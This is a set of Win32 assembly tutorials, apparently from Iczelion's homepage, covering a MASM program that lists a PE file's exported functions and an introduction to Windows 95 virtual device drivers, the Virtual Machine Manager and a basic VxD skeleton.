"A function is exported by ordinal only" means the function doesn't have entries in both AddressOfNames and AddressOfNameOrdinals arrays. Remember the two fields, NumberOfFunctions and NumberOfNames. The existence of these two fields is the evidence that some functions may not have names. The number of functions must be at least equal to the number of names. The functions that don't have names are exported by their ordinals only. For example, if there are 70 functions but only 40 entries in the AddressOfNames array, it means there are 30 functions in the module that are exported by their ordinals only. Now how can we find out which functions are exported by ordinals only? It's not easy. You must find that out by exclusion, ie. the entries in the AddressOfFunctions array that are not referenced by the AddressOfNameOrdinals array contain the RVAs of the functions that are exported by ordinals only.

Example:

This example is similar to the one in the previous tutorial. However, it displays the values of some members of IMAGE_EXPORT_DIRECTORY structure and also lists the RVAs, ordinals, and names of the exported functions. Note that this example doesn't list the functions that are exported by ordinals only.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowExportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
   PrevLink dd ?
   CurrentHandler dd ?
   SafeOffset dd ?
   PrevEsp dd ?
   PrevEbp dd ?
SEH ends

.data
AppName db "PE tutorial no.7",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
NoExportTable db "No export information in this file",0
CRLF db 0Dh,0Ah,0
ExportTable db 0Dh,0Ah,"======[ IMAGE_EXPORT_DIRECTORY ]======",0Dh,0Ah
            db "Name of the module: %s",0Dh,0Ah
            db "nBase: %lu",0Dh,0Ah
            db "NumberOfFunctions: %lu",0Dh,0Ah
            db "NumberOfNames: %lu",0Dh,0Ah
            db "AddressOfFunctions: %lX",0Dh,0Ah
            db "AddressOfNames: %lX",0Dh,0Ah
            db "AddressOfNameOrdinals: %lX",0Dh,0Ah,0
Header db "RVA Ord. Name",0Dh,0Ah
       db "----------------------------------------------",0
template db "%lX %u %s",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
   invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
   invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
   .if lParam==0
     mov eax,wParam
     .if ax==IDM_OPEN
       invoke ShowExportFunctions,hDlg
     .else ; IDM_EXIT
       invoke SendMessage,hDlg,WM_CLOSE,0,0
     .endif
   .endif
.else
   mov eax,FALSE
   ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
mov edx,pFrame
assume edx:ptr SEH
mov eax,pContext
assume eax:ptr CONTEXT
push [edx].SafeOffset
pop [eax].regEip
push [edx].PrevEsp
pop [eax].regEsp
push [edx].PrevEbp
pop [eax].regEbp
mov ValidPE, FALSE
mov eax,ExceptionContinueExecution
ret
SEHHandler endp

ShowExportFunctions proc uses edi hDlg:DWORD
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
   invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
   .if eax!=INVALID_HANDLE_VALUE
     mov hFile, eax
     invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
     .if eax!=NULL
       mov hMapping, eax
       invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
       .if eax!=NULL
         mov pMapping,eax
         assume fs:nothing
         push fs:[0]
         pop seh.PrevLink
         mov seh.CurrentHandler,offset SEHHandler
         mov seh.SafeOffset,offset FinalExit
         lea eax,seh
         mov fs:[0], eax
         mov seh.PrevEsp,esp
         mov seh.PrevEbp,ebp
         mov edi, pMapping
         assume edi:ptr IMAGE_DOS_HEADER
         .if [edi].e_magic==IMAGE_DOS_SIGNATURE
           add edi, [edi].e_lfanew
           assume edi:ptr IMAGE_NT_HEADERS
           .if [edi].Signature==IMAGE_NT_SIGNATURE
             mov ValidPE, TRUE
           .else
             mov ValidPE, FALSE
           .endif
         .else
           mov ValidPE,FALSE
         .endif
FinalExit:
         push seh.PrevLink
         pop fs:[0]
         .if ValidPE==TRUE
           invoke ShowTheFunctions, hDlg, edi
         .else
           invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
         .endif
         invoke UnmapViewOfFile, pMapping
       .else
         invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle,hMapping
     .else
       invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
     .endif
     invoke CloseHandle, hFile
   .else
     invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
.endif
ret
ShowExportFunctions endp

AppendText proc hDlg:DWORD,pText:DWORD
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,pText
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_REPLACESEL,0,addr CRLF
invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETSEL,-1,0
ret
AppendText endp

RVAToFileMap PROC uses edi esi edx ecx pFileMap:DWORD,RVA:DWORD
mov esi,pFileMap
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov edi,RVA ; edi == RVA
mov edx,esi
add edx,sizeof IMAGE_NT_HEADERS
mov cx,[esi].FileHeader.NumberOfSections
movzx ecx,cx
assume edx:ptr IMAGE_SECTION_HEADER
.while ecx>0
   .if edi>=[edx].VirtualAddress
     mov eax,[edx].VirtualAddress
     add eax,[edx].SizeOfRawData
     .if edi<eax
       mov eax,[edx].VirtualAddress
       sub edi,eax
       mov eax,[edx].PointerToRawData
       add eax,edi
       add eax,pFileMap
       ret
     .endif
   .endif
   add edx,sizeof IMAGE_SECTION_HEADER
   dec ecx
.endw
assume edx:nothing
assume esi:nothing
mov eax,edi
ret
RVAToFileMap endp

ShowTheFunctions proc uses esi ecx ebx hDlg:DWORD, pNTHdr:DWORD
LOCAL temp[512]:BYTE
LOCAL NumberOfNames:DWORD
LOCAL Base:DWORD

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif
invoke SetDlgItemText,hDlg,IDC_EDIT,0
invoke AppendText,hDlg,addr buffer
invoke RVAToFileMap,pMapping,edi
mov edi,eax
assume edi:ptr IMAGE_EXPORT_DIRECTORY
mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp
invoke AppendText,hDlg,addr Header
push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base
invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax
.while NumberOfNames>0
   invoke RVAToFileMap,pMapping,dword ptr [esi]
   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   shl edx,2
   add edx,edi
   add ecx,Base
   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp
   dec NumberOfNames
   add esi,4
   add ebx,2
.endw
ret
ShowTheFunctions endp
end start

Analysis:

mov edi,pNTHdr
assume edi:ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
.if edi==0
  invoke MessageBox,0, addr NoExportTable,addr AppName,MB_OK+MB_ICONERROR
  ret
.endif

After the program verifies that the file is a valid PE, it goes to the data directory and obtains the virtual address of the export table. If the virtual address is zero, the file doesn't have any exported symbol.

mov eax,[edi].NumberOfFunctions
invoke RVAToFileMap, pMapping,[edi].nName
invoke wsprintf, addr temp,addr ExportTable, eax, [edi].nBase, [edi].NumberOfFunctions, [edi].NumberOfNames, [edi].AddressOfFunctions, [edi].AddressOfNames, [edi].AddressOfNameOrdinals
invoke AppendText,hDlg,addr temp

We display the important information in the IMAGE_EXPORT_DIRECTORY structure in the edit control.

push [edi].NumberOfNames
pop NumberOfNames
push [edi].nBase
pop Base

Since we want to enumerate all function names, we need to know how many names there are in the export table. nBase is used when we want to convert the indexes into the AddressOfFunctions array into ordinals.

invoke RVAToFileMap,pMapping,[edi].AddressOfNames
mov esi,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfNameOrdinals
mov ebx,eax
invoke RVAToFileMap,pMapping,[edi].AddressOfFunctions
mov edi,eax

The addresses of the three arrays are stored in esi, ebx, and edi, ready to be accessed.

.while NumberOfNames>0

Continue until all names are processed.

   invoke RVAToFileMap,pMapping,dword ptr [esi]

Since esi points to an array of RVAs of the exported names, dereference it will give the RVA of the current name. We convert it to the virtual address, to be used in wsprintf later.

   mov dx,[ebx]
   movzx edx,dx
   mov ecx,edx
   add ecx,Base

ebx points to the array of ordinals. Its array elements are word-size. Thus we need to convert the value into a dword first. edx and ecx contain the index into the AddressOfFunctions array. We will use edx as the pointer into the AddressOfFunctions array. We add the value of nBase to ecx to obtain the ordinal number of the function.

   shl edx,2
   add edx,edi

We multiply the index by 4 (each element in the AddressOfFunctions array is 4 bytes in size) and then add the address of the AddressOfFunctions array to it. Thus edx points to the RVA of the function.

   invoke wsprintf, addr temp,addr template,dword ptr [edx],ecx,eax
   invoke AppendText,hDlg,addr temp

We display the RVA, ordinal, and the name of the function in the edit control.

   dec NumberOfNames
   add esi,4
   add ebx,2
.endw

Update the counter and the addresses of the current elements in AddressOfNames and AddressOfNameOrdinals arrays. Continue until all names are processed.

[Iczelion's Win32 Assembly Homepage]


Virtual Device Driver Basic

Virtual Device Driver Basics

In this tutorial series, I assume you, the reader, are familiar with Intel 80x86's protected mode operations such as virtual 8086 mode, paging, GDT, LDT, IDT. If you don't know about them, read Intel documentations first at http://developer.intel.com/design/pentium/manuals/

Content:

Windows 95 is a multithreaded operating system running in the most privileged level, ring 0. All application programs run at ring 3, the least privileged level. As such, application programs are restricted in what they can do to the system. They cannot use privileged CPU instructions, they cannot access I/O port directly and so on. You're undoubtedly familiar with the big three system components: gdi32, kernel32 and user32. You would think that such important pieces of code should be running in ring 0. But in reality, they run in ring 3, like all other applications. Thus they don't have more privilege than, say, the Window calculator or the minesweeper game. The real power of the system is under control of the virtual machine manager (VMM) and virtual device drivers (VxD).
All this may not happen if DOS doesn't make the picture more complicated. During Windows 3.x era, there are lots of successful DOS programs in the market. Windows 3.x has to be able to run them alongside normal Windows programs else it will fail commercially.
This dilemma is not easy to solve. DOS and Windows programs are drastically different from each other. DOS programs are BAD in that they think they own everything in the system: keyboard, CPU, memory, disk etc. They don't know how to cooperate with other programs while Windows programs (at that time) rely on cooperative multitasking, i.e. every Windows program must yield control to other programs via GetMessage or PeekMessage.
The solution is to run each DOS program in a virtual 8086 machine while all other Windows programs run in another virtual machine called system virtual machine. Windows is responsible for giving CPU time to each virtual machine in a round-robin way. Thus under Windows 3.x, Windows programs use cooperative multitasking but virtual machines use preemptive multitasking.
What is a virtual machine? A virtual machine is a fiction created solely by software. A virtual machine reacts to programs running in it like a real machine. Thus a program doesn't know that it runs in a virtual machine and it doesn't care. So long as the virtual machine responds to the program exactly like a real machine, it can be treated like the real thing.
You can think of the interface between the real machine and its software as a kind of API. This unusual API consists of interrupts, BIOS calls, and I/O ports. If Windows can somehow emulate this API perfectly, the programs running in the virtual machine will behave exactly like they run in the real machine.
This is where VMM and VxDs come into the scene. To coordinate and supervise virtual machines (VMs), Windows needs a program dedicated to the task. That program is the Virtual Machine Manager.

Virtual Machine Manager

VMM is a 32-bit protected mode program. Its primary responsibility is to erect and maintain the framework that supports virtual machines. As such, it's responsible for creating, running, and terminating VMs. VMM is one of the many system VxDs that are stored in VMM32.VXD in your system folder. It's also a VxD but it can be considered the supervisor of other VxDs. Let's examine the boot sequence of Windows 95
  1. io.sys is loaded into memory
  2. config.sys and autoexec.bat are processed
  3. win.com is called
  4. win.com runs VMM32.VXD which is actually a simple DOS EXE file.
  5. VMM32.VXD loads VMM into extended memory using the XMS driver
  6. VMM initializes itself and other default virtual device drivers.
  7. VMM switches the machine into protected mode and creates the system virtual machine
  8. Virtual Shell Device, which is loaded last, starts Windows in the system VM by running krnl386.exe
  9. krnl386.exe loads all other files, culminating in the Windows 95 shell.
As you can see, VMM is the first VxD that is loaded into memory. It creates the system virtual machine and initializes other VxDs. It also provides numerous services to those VxDs.
VMM and VxDs' operation mode is different from that of the realprograms. They are, most of the time, dormant. While application programs are running in the system, those VxDs are not active. They will be awakened when some interrupts/faults/events occur that need their attention.
VMM is not reentrant. That means VxDs must synchronize their accesses to VMM services. There are some situations in which it's not safe to call VMM services such as when a hardware interrupt is being serviced. During that time, VMM cannot tolerate reentrancy. You as the VxD writer must be extremely careful about what you are doing. Remember that, there is no one to take care of your code's errors for you. You're absolutely on your own in ring 0.

Virtual Device Driver

Virtual Device Driver is abbreviated as VxD. x is the placeholder for a device name such as virtual keyboard driver, virtual mouse driver and so on. VxDs are the keys to successful hardware virtualization. Remember that DOS programs think they own everything in the system. When they run in virtual machines, Windows has to provide them with stand-ins for the real devices. VxDs are that stand-ins. VxDs usually virtualize some hardware devices. So, for example, when a dos program thinks it is interacting with the keyboard, it is actually the virtual keyboard device that works with it. A VxD usually takes control of the real hardware device and manages the sharing of the device between VMs.
However, there is no rule that a VxD MUST be associated with a hardware device. It's true that VxDs are designed to virtualize hardware devices but we can also treat VxDs like ring-0 DLLs. For example, if you want some features that can only be achieved in ring 0, you can code a VxD that performs the job for you. In this regard, you can view the VxD as your program's extension since it doesn't virtualize any hardware device.
Before plunging on and creating your own VxDs, let me point out something about them first.
  • VxDs are specific to Windows 9x. They can't run on Windows NT. So if your program depends on VxDs, it will not be portable to Windows NT platform.
  • VxDs are the most powerful entities in the system. Since they can do anything to the system, they are also extremely dangerous. An ill-behaved VxD can crash the system. There is no safeguard against ill-behaved VxDs.
  • Usually, there are lots of way to achieve the goal you desire without resorting to VxDs. Think and think twice before taking the VxD solution. If there are other ways to perform the task in ring 3, use them.
There are two types of VxD under Windows 95
  • Static VxD
  • Dynamic VxD
Static VxDs are those VxDs that are loaded during system bootup and stay loaded until the system shutdown. This type of VxD dates back from the days of Windows 3.x. Dynamic VxDs are available under Windows 9x only. Dynamic VxDs can be loaded/unloaded when needed. Most of them are VxDs that controls Plug and Play devices which are loaded by Configuration Manager and Input Output Supervisor. You can also load/unload dynamic VxDs from your win32 applications.

Communication between VxDs

VxDs, including VMM, communicate with each other via three mechanisms:
  • Control Messages
  • Service APIs
  • Callbacks
Control Messages: VMM sends system control messages to ALL loaded VxDs in the system when some interesting events occur. In this regards, control messages are like windows messages of the ring-3 Windows applications. Every VxD has a function that receives and deals with control messages called device control procedure. There are about 50 or so system control messages. The reason that there are not many control messages is that there are often many VxDs loaded in the system and each of them gets a crack at every control message, if there are too many control messages, the system will grind to a halt. Thus you would find only the really important messages related to VMs such as when a VM is created, destroyed and such. In addition to system control messages, a VxD can define its own custom control messages that it can use to communicate with other VxDs that understand them.

Service APIs: A VxD, including VMM, usually exports a set of public functions that can be called by other VxDs. Those functions are called VxD services. The mechanism of calling those VxD services is quite different from that of ring-3 applications. Every VxD that exports VxD services MUST have a unique ID number. You can obtain such IDs from Microsoft. The ID is a 16-bit number which uniquely identifies a VxD. For example,

    UNDEFINED_DEVICE_ID    EQU 00000H
    VMM_DEVICE_ID          EQU 00001H
    DEBUG_DEVICE_ID        EQU 00002H
    VPICD_DEVICE_ID        EQU 00003H
    VDMAD_DEVICE_ID        EQU 00004H
    VTD_DEVICE_ID          EQU 00005H
You can see that VMM has the ID of 1, VPICD has ID of 3 and so on. VMM uses this unique ID to find the VxD that exports the requested VxD services. You also have to select the service you want to call by its index in the service branch table. When a VxD exports VxD services, it stores the addresses of the services in a table. VMM will use the supplied index to locate the address of the desired service from the service table. For example, if you want to call GetVersion which is the first service, you have to specify 0 ( the index is zero-based). The real mechanism of calling VxD services involves int 20h. Your code issues int 20h followed by a dword value that is composed of the device ID and the service index. For example, if you want to call service number 1 which is exported by a VxD that has the device ID of 000Dh, the code would like this:
    int 20h
    dd 000D0001h
The high word of the dword that follows int 20h instruction contains the device ID. The low word is the zero-based index into the service table.
When int 20h is issued, VMM gains control and it examines the dword that immediately follows the interrupt instruction. Then it extracts the device ID and uses it to locate the VxD and then uses the service index to locate the address of the desired service in that VxD.
You can see that this operation is time-consuming. VMM must waste time in locating the VxD and the address of the desired service. So VMM cheats a little. After the first int 20h operation is successful, VMM snaps the link. By snapping the link, it means VMM replaces the int 20h and the followed dword with the direct call to the service. So the above int 20h snippet would be transformed to:
    call dword ptr [VxD_Service_Address]
This trick works because the int 20h+dword takes 6 bytes, which is exactly the same as call dword ptr instruction. So subsequent calls are fast and efficient. This method has its pros and cons. On the good side, it reduces the workload of VMM and VxD Loader because they don't have to fix ALL service calls of VxDs at load time. The calls which are never executed will remain unmodified. On the not-so-good side, it makes it impossible to unload the static VxD once its services are linked to. Since VMM fixes the calls with the actual addresses of the VxD services, if the VxDs which provide those services are unloaded from memory, other VxDs which are dependent on their services will quite likely crash the system with calls to invalid memory address. There is no mechanism to unsnap the links. The corollary of this is that dynamic VxDs are not suitable as VxD service providers.

Callbacks: callbacks or callback functions are functions in VxD that exist to be called by other VxDs. Don't confuse between callbacks and VxD services. Callbacks are not public like services. They are private functions whose adresses the VxD gives to other VxDs in specific situations. For example, when a VxD is servicing a hardware interrupt, since VMM is not reentrant, the VxD cannot use any VxD services that may cause page faults (thus re-enter VMM). The VxD may give the address of one of its own function (callback) to VMM so that VMM can call the function when VMM can tolerate page faults. The VxD can then proceed with its work when its callback function is called. The callback idea is not unique to VxD. Many Windows APIs use them as well. The best example is perhaps the window procedure. You specify the address of a window procedure in WNDCLASS or WNDCLASSEX structure and pass it to Windows with RegisterClass or RegisterClassEx call. Windows will call your window procedure when there are messages for the window. Another example is the Window hook procedure. Your application gives the address of the hook procedure to Windows so that Windows will call it when the events the application is interested in happen.
The above three methods are for communication between VxDs. There are also interfaces for V86, protected-mode and Win32 application. I will cover VxD interface for Win32 application in the next tutorials.

[Iczelion's Win32 Assembly Homepage]


Virtual Machine Manager: Overview

Virtual Machine Manager

Virtual Machine Manager (VMM) is the true operating system behind Windows 95. It erects and maintains the framework for managing virtual machines. It also provides many important services to other VxDs. The three important services are:
  • Memory management
  • Interrupt handling
  • Thread scheduling

Memory Management

VMM uses paging capability of Intel 80386 and later processors to create a 32-bit virtual address space for the system VM. It divides the address space into four distinct areas.
  • V86 region extending from address 0h to 10FFEFh. This region belongs to the currently executing virtual machine.
  • Private application region extending from the address 4MB to 2GB. This is the area where win32 applications run. Each win32 process will have its own private 2GB (minus 4 MB).
  • Shared application region extending from address 2 GB to 3 GB. This area is shared to ALL applications in the system VM. This region is where the system DLLs (user32, kernel32, and gdi32) reside. All Win16 apps run here as well because they are ill-behaved: they are used to reading/writing from/to other win16 apps in memory. In this region, Win16 apps can see all other Win16 apps. Memory mapped files are stored here as well as the memory allocated for DPMI calls.
  • Shared system region extending from the address 3GB to 4GB. This is where VMM and VxDs live.
VMM provides three types of memory services to VxDs
  • Page-based memory services. This kind of services allocate/manage memory in pages of 4 KBs. It's the lowest level memory services available. All other memory services use page-based memory services as their base.
  • Heap memory services. Manage smaller blocks of memory. This is a higher-level of memory management services built on top of the page-based ones.
  • List services. Manage fixed-size memory blocks suitable for implementing linked lists.

Interrupt Handling

Interrupts in protected mode vector to Interrupt Descriptor Table (IDT). VMM supervises the IDTs of VMs with the help of VxDs. Normally VMM handles nearly all the entries in IDTs. It provides first-level interrupt handlers which save the state of interrupted program on the stack and transfer control to the second-level interrupt handlers which may be provided by various VxDs for the actual processing. When the second-level handler finishes its job, it transfers control to the redispatch routine which will restore the state of the interrupted program and resume execution at the previous point of interruption.
The above description is an oversimplified one. Redispatching may not be immediate because the interrupted VM's timeslice may expire. VxDs can install interrupt handlers via VMM services such as Set_PM_Int or Hook_V86_Int_Chain. VxDs must not modify IDT entries directly (but you can do it if you are sure you know what you're doing)

Thread Scheduling

The VMM uses two scheduler components to implement preemptive multitasking among threads and VMs.
  • primary scheduler
  • time-slicer or secondary scheduler
Primary scheduler's task is to choose the thread with highest execution priority to run. This selection occurs while the VMM is servicing an interrupt (such as timer interrupts). The outcome determines which thread/VM will be given control when the VMM returns from servicing the interrupt. Primary scheduler works under all-or-nothing rule. Either a thread will be run or it will not. Only one thread is chosen. VMM and other VxDs can boost/adjust execution priority of threads via VMM services. For example, if a hardware interrupt occurs, VMM will boost the interrupt handler's execution priority so that it will have higher chance of completion in the shortest possible time.
Secondary scheduler uses the services of the primary scheduler to allocate CPU time among threads that share the highest execution priority by giving each thread a time slice. When a thread executes until its time slice expires, the secondary scheduler boosts the execution priority of the next thread so that it will be chosen by the primary scheduler to run.

You can get more detail about these subjects from Walter Oney's Systems Programming for Windows 95 and the Windows 95 DDK documentation.

[Iczelion's Win32 Assembly Homepage]


Virtual Device Driver Skeleton

Now that you know something about VMM and VxD, we can learn how to code a VxD. You need Windows 95/98 Device Driver Development Kit. It's essential that you have it. Windows 95 DDK is available only to MSDN subscribers. However, Windows 98 DDK is available free of charge from Microsoft. You can also use Windows 98 DDK to develop VxDs even if it is oriented toward WDM. You can download Windows 98 DDK from http://www.microsoft.com/hwdev/ddk/install98ddk.htm?
You can download the whole package, about 30 MBs or you can selectively download only the parts you're interested in. If you choose not to download the whole package, don't forget to download the Windows 95 DDK documentation included in other.exe
Windows 98 DDK contains MASM version 6.11d. You should upgrade it to the latest version. For the information about where to download the latest version upgrade, check my main page.
Windows 9x DDK contains several essential include files which are not included in MASM32 package.
You can download the example in this tutorial here.

LE File Format

VxD uses linear executable (LE) file format. This is the file format designed for OS/2 version 2.0. It can contain both 16- and 32-bit code which is one of the requirement of VxDs. Remember that VxDs date back from the days of Windows 3.x. During that time, Windows boots from DOS so VxDs may need to do some initialization in real mode before Windows switches the machine into protected mode. Real-mode 16-bit code must be in the same executable file as the 32-bit protected mode code. So LE file format is the logical choice. Windows NT drivers blissfully don't have to deal with real mode initialization so they don't have to use LE file format. Instead they use PE file format.

Code and data in an LE file are stored in segments with different runtime attributes. Below are the available segment classes.

  • LCODE Page-locked code and data. This segment is locked into memory. In other words, this segment will not be paged to disk, thus you should use this segment class judiciously so as not to waste precious system memory. Code and data that must be present in memory at all time should be in this segment. Especially the hardware interrupt handlers.
  • PCODE Pageable code. This segment is pageable by VMM. Code in this segment needs not be present in memory all the time. VMM will page this segment to disk if it needs physical memory.
  • PDATA Pageable data.
  • ICODE Initialization-only code. The code in this segment is used during initialization of the VxD only. After initialization, this segment will be discarded by VMM to reclaim physical memory.
  • DBOCODE debug-only code and data. The code and data in this segment is used when you run the VxD under a debugger. It contains the handler for Debug_Query control message, for example.
  • SCODE Static code and data. This segment will always be present in memory even when the VxD is unloaded. This segment is especially useful for dynamic VxD when it must be loaded/unloaded many times during a Window session and wants to remember the last configuration/state.
  • RCODE Real-mode initialization code and data. This segment contains the 16-bit code and data for real mode initialization.
  • 16ICODE USE16 protected-mode initialization data. This segment is a 16-bit one which contains the code that the VxD will copy from protected mode to V86 mode. For example, if you want to paste some V86 code into a VM, the code you intend to paste must be in this segment. If you put the code in other segment, the assembler will generate wrong code, i.e. it will generate 32-bit code instead of the intended 16-bit one.
  • MCODE Locked message strings. This segment contains message strings which are compiled with the help of VMM message macros. This helps you create international versions of your driver.
It doesn't mean your VxD must have ALL those segments. You can choose the segments you want to use in your VxD. For example, if your VxD doesn't have real-mode initialization, it doesn't have to have RCODE segment.
Most of the time, you would use LCODE, PCODE and PDATA. It's your judgement as a VxD writer to choose the appropriate segments for your code/data. In general, you should use PCODE and PDATA as much as possible because VMM can page the segments in and out of memory if necessary. You should use LCODE to store hardware interrupt handlers and services that will be called by hardware interrupt handlers.
You don't use those segment classes directly. You must declare segments based on those classes. Those segment declarations are stored in the module definition file (.def). The full-scale module definition file for a VxD is below:
VXD FIRSTVXD
SEGMENTS
    _LPTEXT     CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LTEXT      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LDATA      CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TEXT       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _DATA       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    CONST       CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _TLS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _BSS        CLASS 'LCODE'    PRELOAD NONDISCARDABLE
    _LMGTABLE   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _LMSGDATA   CLASS 'MCODE'    PRELOAD NONDISCARDABLE IOPL
    _IMSGTABLE  CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _IMSGDATA   CLASS 'MCODE'    PRELOAD DISCARDABLE IOPL
    _ITEXT      CLASS 'ICODE'    DISCARDABLE
    _IDATA      CLASS 'ICODE'    DISCARDABLE
    _PTEXT      CLASS 'PCODE'    NONDISCARDABLE
    _PMSGTABLE  CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PMSGDATA   CLASS 'MCODE'    NONDISCARDABLE IOPL
    _PDATA      CLASS 'PDATA'    NONDISCARDABLE SHARED
    _STEXT      CLASS 'SCODE'    RESIDENT
    _SDATA      CLASS 'SCODE'    RESIDENT
    _DBOSTART   CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBOCODE    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _DBODATA    CLASS 'DBOCODE'  PRELOAD NONDISCARDABLE CONFORMING
    _16ICODE    CLASS '16ICODE'  PRELOAD DISCARDABLE
    _RCODE      CLASS 'RCODE'
EXPORTS
    FIRSTVXD_DDB  @1
The first statement is for declaration of the VxD name. The name of a VxD MUST be all uppercase. I experimented with the lowercase name, and the VxD refused to perform anything except loading itself into memory.
Next are the segment declarations. The declaration consists of three parts: the name of the segment, the segment class and the desired runtime property of the segment. You can see that there are many segments based on the same class, for example, _LPTEXT, _LTEXT, _LDATA are all based on LCODE segment class with exactly the same properties. These segments are declared to make coding easier to understand. For example, LCODE can contain both code and data. It'll be easier on the programmer if he can store the data in _LDATA segment and the code in _LTEXT segment. Eventually, both segments will be combined into only one segment in the final executable file.
A VxD exports one and only one symbol, its device descriptor block (DDB). The DDB is actually a structure which contains everything VMM needs to know about a VxD. You MUST export the DDB in the module definition file.
Most of the time, you can use the above .DEF file in new VxD projects. You would have to change only the name of the VxD in the first and the last lines of the .DEF file. The segment declarations are overkills for an asm VxD project. They are for use by a C VxD project but using them in an asm project is ok. You'll get a lot of warning messages but it will assemble. You can get rid of the annoying warning messages by deleting the segment declarations you don't use in your project.
vmm.inc contains many macros for declaring segments in your source file.
_LTEXT | VxD_LOCKED_CODE_SEG
_PTEXT | VxD_PAGEABLE_CODE_SEG
_DBOCODE | VxD_DEBUG_ONLY_CODE_SEG
_ITEXT | VxD_INIT_CODE_SEG
_LDATA | VxD_LOCKED_DATA_SEG
_IDATA | VxD_IDATA_SEG
_PDATA | VxD_PAGEABLE_DATA_SEG
_STEXT | VxD_STATIC_CODE_SEG
_SDATA | VxD_STATIC_DATA_SEG
_DBODATA | VxD_DEBUG_ONLY_DATA_SEG
_16ICODE | VxD_16BIT_INIT_SEG
_RCODE | VxD_REAL_INIT_SEG

Each macro has its ending counterpart. For example, if you want to declare an _LTEXT segment in your source file, you would do it like this:

VxD_LOCKED_CODE_SEG

<put your code here>

VxD_LOCKED_CODE_ENDS

VxD Skeleton

Now that you know about segments in LE file, we can go on to the source file. One thing you can observe about VxD programming is the heavy use of macros. You will find macros everywhere in VxD programming. It takes some getting used to. Those macros are provided to hide some gory details from programmers and in some ways, make the source code more portable. If you are curious, you can read the definition of those macros in various include files such as vmm.inc.
Here is the VxD skeleton source code:
.386p
include vmm.inc

DECLARE_VIRTUAL_DEVICE FIRSTVXD,1,0, FIRSTVXD_Control, UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

Begin_control_dispatch FIRSTVXD
End_control_dispatch FIRSTVXD

end

